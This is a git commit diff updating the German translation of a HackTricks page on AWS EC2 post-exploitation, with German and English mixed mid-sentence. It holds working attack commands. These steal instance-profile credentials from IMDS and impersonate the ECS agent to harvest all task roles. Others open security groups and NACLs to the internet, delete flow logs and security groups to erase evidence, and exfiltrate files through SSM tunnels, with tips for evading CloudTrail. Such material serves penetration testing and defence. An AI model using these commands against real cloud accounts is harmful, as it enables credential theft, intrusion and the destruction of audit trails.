mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-16 14:52:43 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
Translator
@@ -10,11 +10,10 @@ Für weitere Informationen siehe:
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
### **Bösartiger VPC-Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** ohne dass auf den Instanzen selbst etwas installiert werden muss.\
|
||||
Dieser duplizierte Traffic würde üblicherweise an etwas wie ein network intrusion detection system (IDS) zur Analyse und Überwachung gesendet werden.\
|
||||
Ein Angreifer könnte dies missbrauchen, um den gesamten Traffic abzufangen und daraus sensible Informationen zu gewinnen:
|
||||
VPC traffic mirroring **dupliziert eingehenden und ausgehenden Traffic für EC2-Instanzen innerhalb einer VPC** ohne dass etwas auf den Instanzen selbst installiert werden muss. Dieser duplizierte Traffic würde üblicherweise an etwas wie ein network intrusion detection system (IDS) zur Analyse und Überwachung gesendet werden.\
|
||||
Ein Angreifer könnte dies missbrauchen, um den gesamten Traffic abzufangen und daraus sensible Informationen zu erhalten:
|
||||
|
||||
Für weitere Informationen siehe diese Seite:
|
||||
|
||||
@@ -22,9 +21,9 @@ Für weitere Informationen siehe diese Seite:
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Copy Running Instance
|
||||
### Kopie einer laufenden Instanz
|
||||
|
||||
Instanzen enthalten normalerweise sensible Informationen. Es gibt verschiedene Wege, hineinzukommen (siehe [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Allerdings ist eine andere Möglichkeit, den Inhalt zu prüfen, **ein AMI zu erstellen und daraus eine neue instance (auch in deinem eigenen account) zu starten**:
|
||||
Instanzen enthalten normalerweise irgendwelche sensiblen Informationen. Es gibt verschiedene Wege, hineinzukommen (siehe [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Eine andere Möglichkeit, um zu prüfen, was sie enthält, ist jedoch, **ein AMI zu erstellen und daraus eine neue Instanz (auch in deinem eigenen Account) zu starten**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -50,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots are backups of volumes**, die normalerweise **vertrauliche Informationen** enthalten, daher sollte ihre Überprüfung diese Informationen offenbaren.\
|
||||
Wenn Sie ein **volume without a snapshot** finden, können Sie: **Create a snapshot** und die folgenden Aktionen ausführen oder es einfach **mount it in an instance** innerhalb des Accounts:
|
||||
**Snapshots are backups of volumes**, die normalerweise **sensible Daten** enthalten, daher sollte deren Überprüfung diese Informationen offenlegen.\
|
||||
Wenn du ein **volume without a snapshot** findest, könntest du: **Create a snapshot** und die folgenden Aktionen ausführen oder es einfach **mount it in an instance** innerhalb des Accounts:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -59,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Dies ermöglicht vollständige Offline-Forensik oder Datendiebstahl, während das Networking der instance unangetastet bleibt.
|
||||
Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Dies ermöglicht vollständige Offline-Forensik oder Datendiebstahl, während das Instance-Netzwerk unangetastet bleibt.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -67,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Nützlich, wenn das victim volume bereits Multi-Attach innerhalb derselben AZ aktiviert ist.
|
||||
Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Nützlich, wenn das victim volume bereits Multi-Attach im selben AZ aktiviert ist.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -83,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Ermöglicht das Umgehen interner ACLs oder SG rules, die an bestimmte Adressen gebunden sind.
|
||||
Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Damit lassen sich interne ACLs oder SG rules umgehen, die an bestimmte Adressen gebunden sind.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -91,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs. Dadurch können eingehende Verbindungen abgefangen oder ausgehende Verbindungen erzeugt werden, die so erscheinen, als kämen sie von vertrauenswürdigen öffentlichen IPs.
|
||||
Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs. So können eingehende Verbindungen abgefangen oder ausgehende Verbindungen initiiert werden, die von trusted public IPs zu stammen scheinen.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -99,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself. Dadurch wird der Zugriff für alle abhängigen SG rules stillschweigend erweitert, ohne die SG selbst zu ändern.
|
||||
If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -107,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Die Nutzung von AWS-managed private links umgeht fehlende IGW/NAT-Kontrollen für Datenexfiltration.
|
||||
Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Die Nutzung von AWS-managed private links umgeht fehlende IGW/NAT-Kontrollen für Data exfiltration.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -115,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
Ein Angreifer mit der ec2:AuthorizeSecurityGroupIngress-Berechtigung kann inbound rules zu security groups hinzufügen (z. B. tcp:80 von 0.0.0.0/0 erlauben) und dadurch interne Dienste dem öffentlichen Internet oder sonst unautorisierten Netzwerken aussetzen.
|
||||
An attacker with the ec2:AuthorizeSecurityGroupIngress permission can add inbound rules to security groups (for example, allowing tcp:80 from 0.0.0.0/0), thereby exposing internal services to the public Internet or to otherwise unauthorized networks.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
Ein Angreifer mit ec2:ReplaceNetworkAclEntry (oder ähnlichen) Berechtigungen kann die Network ACLs (NACLs) eines subnet ändern, um sie sehr permissiv zu machen — zum Beispiel indem 0.0.0.0/0 auf kritischen Ports erlaubt wird — wodurch der gesamte subnet-Bereich dem Internet oder unautorisierten Netzwerksegmenten ausgesetzt wird. Im Gegensatz zu Security Groups, die per-instance angewendet werden, werden NACLs auf subnet-Ebene angewendet, sodass das Ändern einer restriktiven NACL einen viel größeren blast radius haben kann, indem der Zugang zu viel mehr Hosts ermöglicht wird.
|
||||
Ein Angreifer mit `ec2:ReplaceNetworkAclEntry` (oder ähnlichen Berechtigungen) kann die Network ACLs (NACLs) eines subnets so ändern, dass sie sehr permissiv werden — z. B. 0.0.0.0/0 auf kritischen Ports erlauben — und damit den gesamten Subnet-Bereich dem Internet oder unautorisierten Netzwerksegmenten aussetzen. Im Gegensatz zu Security Groups, die per-instance angewendet werden, werden NACLs auf Subnet-Ebene angewendet, sodass das Ändern einer restriktiven NACL einen deutlich größeren blast radius haben kann, da so der Zugriff auf viele weitere Hosts ermöglicht wird.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -132,16 +131,16 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
Ein Angreifer mit ec2:Delete* und iam:Remove*-Berechtigungen kann kritische Infrastrukturressourcen und -konfigurationen löschen — zum Beispiel key pairs, launch templates/versions, AMIs/snapshots, volumes oder attachments, security groups oder rules, ENIs/network endpoints, route tables, gateways oder managed endpoints. Das kann zu sofortiger Dienstunterbrechung, Datenverlust und Verlust forensischer Beweise führen.
|
||||
Ein Angreifer mit ec2:Delete*- und iam:Remove*-Rechten kann kritische Infrastrukturressourcen und -konfigurationen löschen — zum Beispiel key pairs, launch templates/versions, AMIs/snapshots, volumes oder attachments, security groups oder rules, ENIs/network endpoints, route tables, gateways oder managed endpoints. Dies kann unmittelbare Dienstunterbrechungen, Datenverlust und den Verlust forensischer Beweise verursachen.
|
||||
|
||||
Ein Beispiel ist das Löschen einer security group:
|
||||
One example is deleting a security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Weise VPC Flow Logs auf einen vom Angreifer kontrollierten S3-Bucket, um kontinuierlich Netzwerkmetadaten (Quelle/Ziel, Ports) außerhalb des Opferkontos für langfristige Aufklärung zu sammeln.
|
||||
Leiten Sie VPC Flow Logs auf ein vom Angreifer kontrolliertes S3 bucket, um fortlaufend Netzwerk-Metadaten (source/destination, ports) außerhalb des Opfer-Accounts für langfristige Aufklärung zu sammeln.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -151,131 +150,135 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Selbst wenn Sie eine EC2 so sperren, dass kein Traffic nach außen gelangt, kann sie trotzdem **exfil via DNS**.
|
||||
Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
|
||||
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- Sie haben keinen Zugriff auf AWS DNS-Logs.
|
||||
- Dies deaktivieren Sie, indem Sie "enableDnsSupport" auf false setzen mit:
|
||||
- **VPC Flow Logs werden dies nicht aufzeichnen**.
|
||||
- Sie haben keinen Zugriff auf AWS DNS logs.
|
||||
- Deaktivieren Sie dies, indem Sie "enableDnsSupport" auf false setzen mit:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Ein Angreifer könnte API-Endpunkte eines von ihm kontrollierten Accounts aufrufen. Cloudtrail protokolliert diese Aufrufe, und der Angreifer kann die exfiltrierten Daten in den Cloudtrail-Logs sehen.
|
||||
Ein Angreifer könnte API-Endpunkte eines von ihm kontrollierten Accounts aufrufen. Cloudtrail wird diese Aufrufe protokollieren und der Angreifer wird die exfiltrate data in den Cloudtrail-Logs sehen können.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
Sie könnten weitergehenden Zugriff auf Netzwerkdienste erhalten, indem Sie Ports wie folgt öffnen:
|
||||
Sie könnten weiteren Zugriff auf Netzwerkdienste erhalten, indem Sie Ports wie folgt öffnen:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
### Privesc zu ECS
|
||||
|
||||
It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.
|
||||
Es ist möglich, eine EC2-Instanz zu betreiben und sie so zu registrieren, dass sie zum Ausführen von ECS-Instanzen verwendet wird, und anschließend die Daten der ECS-Instanzen zu stehlen.
|
||||
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation
|
||||
### ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)
|
||||
|
||||
A compromise inside any ECS task running on an EC2 container instance is typically enough to pivot into the host role and the IAM roles associated with all the other tasks in that node. Because there is **no task isolation for ECS-on-EC2**, every task can query the EC2 Instance Metadata Service (IMDS) by default, steal the container instance profile, and then talk the same WebSocket protocol that the ECS agent uses to the control plane (the **ECScape** primitive) to request the credentials for every task currently scheduled on that host. Latacora documented this workflow in their [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/), which the following offensive summary condenses.
|
||||
Bei ECS mit dem EC2 launch type übernimmt die Control Plane jede Task-Rolle und schiebt die temporären Anmeldeinformationen über den Agent Communication Service (ACS) WebSocket-Kanal an den ECS-Agenten. Der Agent stellt diese Anmeldeinformationen dann den Containern über den Task-Metadata-Endpunkt (169.254.170.2) zur Verfügung. Die ECScape-Forschung zeigt, dass, wenn ein Container IMDS erreichen und das **instance profile** stehlen kann, er den Agenten über ACS imitieren und **jede Task-Rollen-Anmeldeinformation** auf diesem Host erhalten kann, einschließlich **task execution role**-Anmeldeinformationen, die nicht über den Metadata-Endpunkt exponiert sind.
|
||||
|
||||
#### Attack chain
|
||||
#### Angriffskette
|
||||
|
||||
1. **Steal the instance profile from inside the container.** Assume IMDSv2 is required, so request a token and then fetch the profile.
|
||||
1. **Steal the container instance role from IMDS.** Der Zugriff auf IMDS ist erforderlich, um die Host-Rolle zu erhalten, die vom ECS-Agenten verwendet wird.
|
||||
|
||||
```bash
|
||||
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
```
|
||||
2. **Use the container instance role to impersonate the ECS agent.** With those credentials you can speak the undocumented WebSocket channel the ECS agent uses; the control plane trusts you as the real agent and delivers **all task IAM credentials** to your process. You can now run higher-privileged tasks locally, dump task environment secrets, or update services/tasks to redeploy workloads you can fully inspect.
|
||||
2. **Discover the ACS poll endpoint and required identifiers.** Mit den Instance-Role-Anmeldeinformationen ruft man `ecs:DiscoverPollEndpoint` auf, um den ACS-Endpunkt zu erhalten und Bezeichner wie die cluster ARN und container instance ARN zu sammeln. Die cluster ARN ist via Task-Metadata (169.254.170.2/v4/) exponiert, während die container instance ARN über die Agent-Introspektion-API oder (falls erlaubt) `ecs:ListContainerInstances` beschafft werden kann.
|
||||
3. **Impersonate the ECS agent over ACS.** Initiere eine SigV4-signed WebSocket-Verbindung zum Poll-Endpunkt und füge `sendCredentials=true` hinzu. ECS akzeptiert die Verbindung als gültige Agent-Session und beginnt, `IamRoleCredentials`-Nachrichten für **alle** Tasks auf der Instanz zu streamen. Das schließt task execution role-Anmeldeinformationen ein, die ECR-Pulls, Secrets Manager-Abfragen oder CloudWatch Logs-Zugriffe ermöglichen können.
|
||||
|
||||
#### IMDS reachability with IMDSv2 + hop limit 1
|
||||
**Find the PoC in <https://github.com/naorhaziz/ecscape>**
|
||||
|
||||
Setting IMDSv2 with `HttpTokens=required` and `HttpPutResponseHopLimit=1` only blocks tasks that live behind an extra hop (Docker bridge). Other networking modes stay within one hop of the Nitro controller and still receive responses:
|
||||
#### IMDS-Erreichbarkeit mit IMDSv2 + Hop-Limit 1
|
||||
|
||||
| ECS network mode | IMDS reachable? | Reason |
|
||||
Das Setzen von IMDSv2 mit `HttpTokens=required` und `HttpPutResponseHopLimit=1` blockiert nur Tasks, die sich hinter einem zusätzlichen Hop (Docker-Bridge) befinden. Andere Netzwerkmodi bleiben innerhalb eines Hops zum Nitro-Controller und erhalten weiterhin Antworten:
|
||||
|
||||
| ECS network mode | IMDS erreichbar? | Reason |
|
||||
| --- | --- | --- |
|
||||
| `awsvpc` | ✅ | Jeder Task bekommt seine eigene ENI, die weiterhin nur einen Hop von IMDS entfernt ist, daher kommen Token- und Metadatenantworten erfolgreich an. |
|
||||
| `awsvpc` | ✅ | Jeder Task erhält sein eigenes ENI, das weiterhin nur einen Hop von IMDS entfernt ist, sodass Tokens und Metadaten-Antworten erfolgreich ankommen. |
|
||||
| `host` | ✅ | Tasks teilen den Host-Namespace, daher sehen sie dieselbe Hop-Distanz wie die EC2-Instanz. |
|
||||
| `bridge` | ❌ | Antworten gehen auf der Docker-Bridge verloren, weil dieser zusätzliche Hop das Hop-Limit erschöpft. |
|
||||
| `bridge` | ❌ | Antworten werden auf der Docker-Bridge verworfen, weil der zusätzliche Hop das Hop-Limit aufbraucht. |
|
||||
|
||||
Therefore, **never assume hop limit 1 protects awsvpc or host-mode workloads**—always test from inside your containers.
|
||||
Daher darfst du **niemals davon ausgehen, dass Hop-Limit 1 awsvpc- oder host-mode-Workloads schützt** — teste immer aus deinen Containern heraus.
|
||||
|
||||
#### Detecting IMDS blocks per network mode
|
||||
#### Erkennen von IMDS-Blocks pro Netzwerkmodus
|
||||
|
||||
- **awsvpc tasks:** Security groups, NACLs oder Routing-Änderungen können die link-local Adresse 169.254.169.254 nicht blockieren, weil Nitro sie auf dem Host injiziert. Prüfe `/etc/ecs/ecs.config` auf `ECS_AWSVPC_BLOCK_IMDS=true`. Ist das Flag nicht gesetzt (Default), kannst du IMDS direkt aus dem Task per curl erreichen. Wenn es gesetzt ist, pivotiere in den Host-/Agent-Namespace, um es zurückzusetzen, oder führe deine Tools außerhalb von awsvpc aus.
|
||||
- **awsvpc tasks:** Security groups, NACLs oder Routing-Änderungen können die link-local-Adresse 169.254.169.254 nicht blockieren, weil Nitro sie auf dem Host injiziert. Prüfe `/etc/ecs/ecs.config` auf `ECS_AWSVPC_BLOCK_IMDS=true`. Wenn die Option fehlt (Standard), kannst du IMDS direkt vom Task aus per curl anfragen. Wenn sie gesetzt ist, pivotiere in den Host/Agent-Namespace, um sie zurückzusetzen, oder führe deine Tools außerhalb von awsvpc aus.
|
||||
|
||||
- **bridge mode:** Wenn Metadatenanfragen fehlschlagen, obwohl hop limit 1 konfiguriert ist, haben Verteidiger vermutlich eine `DOCKER-USER` DROP-Regel eingefügt, z. B. `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. `iptables -S DOCKER-USER` listet sie auf; mit Root-Zugriff kannst du die Regel löschen oder umordnen, bevor du IMDS abfragst.
|
||||
- **bridge mode:** Wenn Metadatenanfragen fehlschlagen, obwohl Hop-Limit 1 konfiguriert ist, haben Verteidiger wahrscheinlich eine `DOCKER-USER`-Drop-Regel eingefügt wie `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Das Auflisten mit `iptables -S DOCKER-USER` zeigt dies, und Root-Zugriff erlaubt es dir, die Regel zu löschen oder neu zu ordnen, bevor du IMDS abfragst.
|
||||
|
||||
- **host mode:** Prüfe die Agent-Konfiguration auf `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Dieser Wert entfernt Task-IAM-Rollen komplett, du musst ihn also wieder aktivieren, zu awsvpc-Tasks wechseln oder Anmeldeinformationen über einen anderen Prozess auf dem Host stehlen. Wenn der Wert `true` ist (Standard), kann jeder Host-Mode-Prozess — einschließlich kompromittierter Container — IMDS erreichen, sofern keine speziellen eBPF-/cgroup-Filter auf `169.254.169.254` abzielen; suche nach tc/eBPF-Programmen oder iptables-Regeln, die diese Adresse referenzieren.
|
||||
- **host mode:** Untersuche die Agent-Konfiguration auf `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Diese Einstellung entfernt Task-IAM-Rollen vollständig, sodass du sie entweder wieder aktivieren, zu awsvpc-Tasks wechseln oder Anmeldeinformationen über einen anderen Prozess auf dem Host stehlen musst. Wenn der Wert `true` ist (Standard), kann jeder Host-Mode-Prozess — einschließlich kompromittierter Container — auf IMDS zugreifen, es sei denn, maßgeschneiderte eBPF/cgroup-Filter zielen auf 169.254.169.254; suche nach tc/eBPF-Programmen oder iptables-Regeln, die diese Adresse referenzieren.
|
||||
|
||||
Latacora even released [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) you can drop into a target account to enumerate which network modes still expose metadata and plan your next hop accordingly.
|
||||
Latacora hat sogar [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) veröffentlicht, den du in ein Zielkonto legen kannst, um aufzulisten, welche Netzwerkmodi noch Metadaten exponieren und deinen nächsten Schritt entsprechend zu planen.
|
||||
|
||||
Once you understand which modes expose IMDS you can plan your post-exploitation path: target any ECS task, request the instance profile, impersonate the agent, and harvest every other task role for lateral movement or persistence inside the cluster.
|
||||
Sobald du verstanden hast, welche Modi IMDS exponieren, kannst du deinen post-exploitation-Pfad planen: Ziel ist jeder ECS-Task, fordere das instance profile an, impersonate den Agenten und sammle jede andere Task-Rolle für laterale Bewegung oder Persistenz innerhalb des Clusters.
|
||||
|
||||
### Remove VPC flow logs
|
||||
### VPC flow logs entfernen
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
### SSM Port Forwarding
|
||||
### SSM-Portweiterleitung
|
||||
|
||||
Erforderliche Berechtigungen:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Neben der Ausführung von Befehlen ermöglicht SSM traffic tunneling, das missbraucht werden kann, um von EC2-Instanzen zu pivoten, die aufgrund von Security Groups oder NACLs keinen Netzwerkzugang haben.
|
||||
Neben der Ausführung von Befehlen erlaubt SSM auch Traffic-Tunneling, das missbraucht werden kann, um von EC2-Instanzen zu pivoten, die aufgrund von Security Groups oder NACLs keinen Netzwerkzugang haben.
|
||||
Ein Szenario, in dem das nützlich ist, ist das Pivoting von einem [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) zu einem privaten EKS-Cluster.
|
||||
|
||||
> Um eine Session zu starten, muss das SessionManagerPlugin installiert sein: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Installieren Sie das SessionManagerPlugin auf Ihrem Rechner
|
||||
2. Melden Sie sich bei der Bastion EC2 mit folgendem Befehl an:
|
||||
1. Installiere das SessionManagerPlugin auf deinem Rechner
|
||||
2. Melde dich am Bastion EC2 mit folgendem Befehl an:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Rufe die temporären AWS-Anmeldeinformationen der Bastion EC2 mit dem [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) Skript ab
|
||||
4. Übertrage die Anmeldeinformationen auf deine Maschine in die Datei `$HOME/.aws/credentials` als Profil `[bastion-ec2]`
|
||||
3. Hole die Bastion EC2 AWS credentials mit dem [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script
|
||||
4. Übertrage die credentials auf deine eigene Maschine in die Datei `$HOME/.aws/credentials` als `[bastion-ec2]` profile
|
||||
5. Melde dich bei EKS als Bastion EC2 an:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. Aktualisiere das `server`-Feld in der Datei `$HOME/.kube/config`, sodass es auf `https://localhost` zeigt
|
||||
7. Erstelle einen SSM tunnel wie folgt:
|
||||
6. Aktualisiere das `server`-Feld in der Datei `$HOME/.kube/config`, damit es auf `https://localhost` zeigt
|
||||
7. Erstelle einen SSM-Tunnel wie folgt:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Der Traffic des Tools `kubectl` wird nun durch den SSM-Tunnel über die Bastion EC2 weitergeleitet, und Sie können von Ihrem eigenen Rechner auf das private EKS cluster zugreifen, indem Sie Folgendes ausführen:
|
||||
8. Der Datenverkehr des Tools `kubectl` wird nun durch den SSM-Tunnel über die Bastion EC2 weitergeleitet, und du kannst von deinem eigenen Rechner aus auf das private EKS-Cluster zugreifen, indem du folgendes ausführst:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Beachte, dass die SSL-Verbindungen fehlschlagen, es sei denn, du setzt das `--insecure-skip-tls-verify` Flag (oder dessen Äquivalent in K8s Audit-Tools). Da der Traffic durch den sicheren AWS SSM-Tunnel getunnelt wird, bist du vor jeglicher Art von MitM-Angriffen geschützt.
|
||||
Beachte, dass die SSL-Verbindungen fehlschlagen, sofern du nicht das Flag `--insecure-skip-tls-verify ` (oder das entsprechende Pendant in K8s audit tools) setzt. Da der Traffic durch den sicheren AWS SSM-Tunnel geleitet wird, bist du vor jeglichen MitM-Angriffen geschützt.
|
||||
|
||||
Schließlich ist diese Technik nicht spezifisch für Angriffe auf private EKS-Cluster. Du kannst beliebige Domains und Ports setzen, um zu jedem anderen AWS service oder einer eigenen Anwendung zu pivoten.
|
||||
Schließlich ist diese Technik nicht speziell auf Angriffe gegen private EKS-Cluster beschränkt. Du kannst beliebige Domains und Ports setzen, um auf jeden anderen AWS-Service oder eine benutzerdefinierte Anwendung zu pivoten.
|
||||
|
||||
---
|
||||
|
||||
#### Schnelles Lokal ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
|
||||
Wenn du nur **einen TCP-Port von der EC2-Instanz zu deinem lokalen Host weiterleiten** musst, kannst du das `AWS-StartPortForwardingSession` SSM document verwenden (kein Remote-Host-Parameter erforderlich):
|
||||
Wenn du nur einen TCP-Port vom EC2-Instance zu deinem lokalen Host weiterleiten musst, kannst du das SSM-Dokument `AWS-StartPortForwardingSession` verwenden (kein remote host-Parameter erforderlich):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
Der Befehl stellt einen bidirektionalen Tunnel zwischen Ihrer Arbeitsstation (`localPortNumber`) und dem ausgewählten Port (`portNumber`) auf der Instance her, **ohne eingehende Security-Group-Regeln zu öffnen**.
|
||||
Der Befehl stellt einen bidirektionalen Tunnel zwischen Ihrer Workstation (`localPortNumber`) und dem ausgewählten Port (`portNumber`) auf der Instanz her, ohne dabei eingehende Security-Group rules zu öffnen.
|
||||
|
||||
Häufige Anwendungsfälle:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Starten Sie auf der Instance einen schnellen HTTP-Server, der auf das Verzeichnis zeigt, das Sie exfiltrieren möchten:
|
||||
1. Auf der Instanz starten Sie einen schnellen HTTP-Server, der auf das Verzeichnis zeigt, das Sie exfiltrieren möchten:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Rufen Sie von Ihrer Arbeitsstation die Dateien über den SSM-Tunnel ab:
|
||||
2. Von Ihrer Workstation holen Sie die Dateien über den SSM-Tunnel:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
@@ -289,7 +292,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Tipp: Compress und encrypt Beweismaterial, bevor Sie es exfiltrating, damit CloudTrail den clear-text content nicht loggt:
|
||||
Tipp: Komprimiere und verschlüssele Beweismaterial vor dem exfiltrating, damit CloudTrail den clear-text content nicht protokolliert:
|
||||
```bash
|
||||
